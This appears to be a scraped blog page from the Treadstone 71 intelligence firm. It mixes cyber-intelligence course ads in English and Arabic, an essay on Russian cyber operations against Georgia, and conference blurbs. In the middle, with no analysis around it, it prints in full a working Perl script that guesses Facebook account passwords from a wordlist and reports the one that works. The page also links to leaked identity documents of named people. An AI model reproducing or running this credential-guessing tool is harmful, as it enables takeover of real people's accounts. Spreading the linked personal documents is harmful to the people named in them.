The Cyber Shafarat – Treadstone 71
We See What Others Cannot – WWW.TREADSTONE71.COM
CYBER INTELLIGENCE TRAINING
Online Course Registration open now – www.cyberinteltrainingcenter.com
2019 Course Dates – Locations
Jan 14-18 Cyber Intelligence – Amsterdam, NL
March 4-8 Cyber Intelligence – Reston, VA
March 11-15 Cyber CounterIntelligence – Reston, VA
April 29-May 3 Cyber Intelligence – Hoboken, NJ
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لقد تم تصميم برنامج الاشتراك في مخابرات الفضاء الإلكتروني على الإنترنت والذي مدته 12 شهراً من أجل لإرشاد المؤسسات أثناء بنائها لبرامج مخابرات الفضاء الإلكتروني ومخاطره من خلال محاضرات عبر الإنترنت، وعمليات شرح ونماذج تغطي مجموعة كبيرة من المواضيع. بعد سنوات من تدريس دورات تدريبية مخابراتية وتقديم البرامج الاستخباراتية للعملاء، تقدم Treadstone 71 الآن برنامج يعمل بشكل تلقائي ويعتمد على الاشتراكات، يقوم بإرشاد العملاء خلال عملية تخطيط استراتيجية، وإنشاء للأهداف والغايات، وتقييم النضج، وتطوير إجراءات التشغيل المعيارية، واختيار منصة استخبارات التهديدات، وتخطيط الجمع، وتحليل الاستخبارات، والكتابة التحليلية والتعميم الذي لا يشمل الجميع.
يتضمن البرنامج فيديوهات إرشادية مرتبطة بالمحتوى، مع إمكانية وصول مباشر ودوري إلى Treadstone 71 لمعرفة آراء العميل القابلة للتنفيذ. بعد معرفة الآراء هناك دورة قياسية تتضمن التعليقات والاقتراحات والتوصيات وأمثلة على منتجات تم الانتهاء منها من قبل. تقدم Treadstone 71 أيضاً ساعات عمل دورية ’للمعلم‘ وذلك لاستقبال الأسئلة والرد عليها.
يتبع البرنامج أساليب مثبتة تم تأسيسها عبر سنوات أثناء إنشاء البرامج الاستخباراتية. يتحرك العملاء بمعدل طبيعي يتوافق مع جداولهم الداخلية والتي تساعد Treadstone 71 على تأسيسها مع العميل. بإمكان العميل اختيار مجموعة الاشتراك كاملة، أو اختيار نماذج معينة. يتضمن الاشتراك أيضاً تدريب شهادة مخابرات الفضاء الإلكتروني Tradecraft ويضيف نموذج جديد يساعد العملاء على إنشاء ممارسات محاكاة نظرية.
نظرة عامة لبعض محتوى الاشتراك:
The Cyber Intelligence 12-Month Online Subscription Program is designed to guide organizations in their cyber and threat intelligence program builds through online lectures, demonstrations, and templates covering a wide range of topics. After years of teaching intelligence courses and delivering intelligence programs to clients, Treadstone 71 now offers the subscription-based, automated program guiding clients through the strategic planning process, goals and objectives creation, maturity assessment, SOP development, threat intelligence platform selection, collection planning, intelligence analysis, analytic writing, and dissemination non-inclusively.
The program includes instructional videos tied to content with periodic direct access to Treadstone 71 for client deliverable reviews. The reviews follow a standard cycle including comments, suggestions, recommendations, and examples of previously finished products. Treadstone71 also offers regular ‘professor’ office hours for Q&A.
The program follows proven methods established over the years while creating intelligence programs. Clients move at a regular pace that corresponds with their internal schedules that Treadstone 71 helps to establish with the client. Clients may choose the entire subscription package or choose modules ala-cart. The subscription also includes the standard Cyber Intelligence Tradecraft Certification training and adds a new module assisting clients with the creation of table-top exercises.
An overview of some of the subscription content follows:
Clients subscribing to the program create program content undergoing Treadstone 71 review prior to leadership delivery. The intent is to share our vast expertise in cyber intelligence to assist organizations in the timely building of their programs. Clients may choose to extend their program beyond a year or accelerate their program based upon their acceptance of agreed upon assumptions and requirements. Clients have the ability to speed up or slow down their programs throughout the subscription.
We see this model as an effective and efficient way to extend our knowledge, share our standards-based program information while setting up an industry model rooted in intelligence community tradecraft. That tradecraft follows the International Association for Intelligence Education Standards for Intelligence Analyst Initial Training, intelligence community directives (ICDs), content from the Sherman Kent School for Intelligence Analysis and Mercyhurst University as well as boots on the ground experience.
What do you have at the end of the program?
As clients carefully follow the training, timelines, and execute to the deliverables internally, clients will have built a complete cyber threat intelligence program. The program definition, strategy, policies, procedures, process flow diagrams, roles, responsibilities, templates, models, methods, tactics, techniques, reports, dissemination models, briefings, table-top exercises, as well as certified Cyber Intelligence Tradecraft professionals are all core components of the what clients achieve.
Our pricing model will be a fixed price for the core modules with add-on modules priced separately. Treadstone 71 onsite work options will be clear and defined with the ability of clients to purchase onsite and online ‘office hours’ over and above hours provided in the core modules. Clients will have the choice of selecting from several options.
For more information about this new program, contact Treadstone 71 at 888.714.0071 or info@treadstone71.com. We will respond to all inquiries as long as they are from corporate and business accounts.
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Dr. Khatuna Mshvidobadze
In the summer of 2008, Russia attacked Georgia in the first-ever combined kinetic and cyberwar. Sure, the 1990-1991 Gulf War was dubbed the first information war—the use 
of information in war is not new. What was new in 2008 was that Russia employed its cyber arm as an independent operational capability alongside its land, sea and air forces. The targets were critical infrastructure. The strategic objectives were to sap Georgia’s will to resist and to provide cover for Russia’s information campaign to deceive the west into believing that somehow little Georgia was the aggressor.
Operational security was paramount—Moscow had to keep everyone confounded about who was behind the cyber attacks. Just like the kinetic invasion, the cyber attacks were long and well-planned, but Russia did a great job covering its tracks. When the shooting stopped, well-meaning researchers investigated what had happened. However, coming from a profession that focuses on computer screens and a culture unaccustomed to the 
kind of deception that is part of everyday Russian life, they foundered.
The attacks led us to Russia. We noted uncanny timing. Western experts were indeed confounded when the trail led to kids and criminals. I have been following that trail ever since. Insight into Russia, all-source intelligence and a keen understanding of denial and deception were needed.
Today, saying that the Russian state employs a network of cybercriminals to do its online dirty work is commonplace. One might just as well pretend not to know the identity of those little green men who seized Crimea. But when I started saying it in 2010, you would not believe the resistance I encountered.
Jeff will lead off, analyzing the types of D&D, its various dimensions and some tactics that can be employed online and offline. The planners, he will say, must have clear reasons for utilizing D&D based on their goals. They must define the strategic, operational and tactical goals of deception and the criteria for success.
I will point out that Russians do not see cyber warfare as distinct but regard it as just one tool of information war. Look at 2008. The cyber attacks aimed at hampering the Georgian government’s ability to communicate while Moscow’s propaganda machine painted Russia as the aggrieved party. “Information space opens wide asymmetrical possibilities for reducing the fighting potential of an enemy,” writes Valery Vasilyevich Gerasimov, Chief of the Russian General Staff. It’s a remarkable statement, but nothing new—Russian thinking on information warfare has been consistent since the 1980s.
Now, the Kremlin commands a vast network of online intelligence agencies, scientific organizations, academic institutions, criminals, and trolls. We’ll discuss how Russia deals with enemies, foreign and domestic, cyber players and organization, the growing role of the military, tactics, techniques, procedures and tools, vectors, false flags, troll factories and more. Come join us on Wednesday at the RSA Conference.
KM
Music is horrendous – be warned
and the script:
#!/usr/bin/perl
#
use strict;
use Net::SSLeay::Handle;
if(!defined($ARGV[0] && $ARGV[1])) {
system(‘clear’);
print ” Version 2.32 \n”;
print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;
print “\033[1;31m ======================================================\n”;
print “\033[1;37m Usage: perl $0 Email wordlist.txt\n\n\n\n\n\n\n\n\n”;
print “\033[1;31m ======================================================\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
exit; }
my $user = $ARGV[0];
my $wordlist = $ARGV[1];
open (LIST, $wordlist) || die “\n[-] Can’t find/open $wordlist\n”;
print ” Version 2.32 \n”;
print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;
print “\033[1;31m ======================================================\n”;
print “\033[1;33m made by [[Z hacker]] \n”;
print “\033[1;31m ========================================================\n”;
print “\033[1;39m\n [+] Cracking Started on: $user …\n\n”;
print “=======================================\n”;
while (my $password = <LIST>) {
chomp ($password);
$password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf “%%%0x”, ord $1 /eg;
my $a = “POST /login.php HTTP/1.1”;
my $b = “Host: http://www.facebook.com”;
my $c = “Connection: close”;
my $e = “Cache-Control: max-age=0”;
my $f = “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”;
my $g = “Origin: https://www.facebook.com”;
my $h = “User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31”;
my $i = “Content-Type: application/x-www-form-urlencoded”;
my $j = “Accept-Encoding: gzip,deflate,sdch”;
my $k = “Accept-Language: en-US,en;q=0.8”;
my $l = “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3”;
my $cookie = “cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa”;
my $post = “lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In”;
my $cl = length($post);
my $d = “Content-Length: $cl”;
my ($host, $port) = (“www.facebook.com”, 443);
tie(*SSL, “Net::SSLeay::Handle”, $host, $port);
print SSL “$a\n”;
print SSL “$b\n”;
print SSL “$c\n”;
print SSL “$d\n”;
print SSL “$e\n”;
print SSL “$f\n”;
print SSL “$g\n”;
print SSL “$h\n”;
print SSL “$i\n”;
print SSL “$j\n”;
print SSL “$k\n”;
print SSL “$l\n”;
print SSL “$cookie\n\n”;
print SSL “$post\n”;
my $success;
while(my $result = <SSL>){
if($result =~ /Location(.*?)/){
$success = $1;
}
}
if (!defined $success)
{
print “\033[1;31m[-] $password -> Failed \n”;
close SSL;
}
else
{
print “\033[1;32m\n########################################################\n”;
print “[+] \033[1;32mPassword Cracked: $password\n”;
print “\033[1;32m########################################################\n\n”;
close SSL;
exit;
}
}
Rinlogger Teaching
Foundations for a Strong Intelligence Program
April 18, 9AM-11AM RSA Conference
This Lab will explore key aspects of building a strong and long-lasting cyberthreat intelligence program. We’ll review methods of threat intelligence platform selection and bake-off techniques as well as cover stakeholder analysis and priority intelligence requirements. Additionally, we’ll practice collection planning and mission management as well as how to establish effective reporting and dissemination capabilities.
Cyber CounterIntelligence – Deception, Distortion, Dishonesty
April 18, 1:45PM-2:30PM RSA Conference
Deception, distortion, dishonesty are core to social media postings. Our adversaries use these methods concocting stories that create illusions that are meant to leave us divided. The talk will cover methods of countering their messaging while applying these tactics to protect your own organization and brand. Moving from intelligence to counterintelligence is the natural next step in our evolution.
Blended courses
Courses on demand
Courses developed per your needs, quietly and quickly
Treadstone 71
Past report on Syrian Government collusion with Russia to bypass sanctions against Syria. This instance involves acquiring materials and machines to manufacture their own body armor in Latakia by way of the UAE where a Syrian soldier working with a female FSB agent centralize the acquisitions.
Visas, passports, military IDs, fake names, bills of lading and more for your reading and review.
The Treadstone 71 Report (pdf) – Treadstone 71 – drua-alwaaqiah-lilboodoon
Treadstone 71 acquired supporting files and documents (30MB zip) – drua-rawfiles-treadstone71
https://treadstone71llc.files.wordpress.com/2014/10/hatem-deeb-_-vk.pdf
https://treadstone71llc.files.wordpress.com/2014/10/zain-deeb-_-vk.pdf
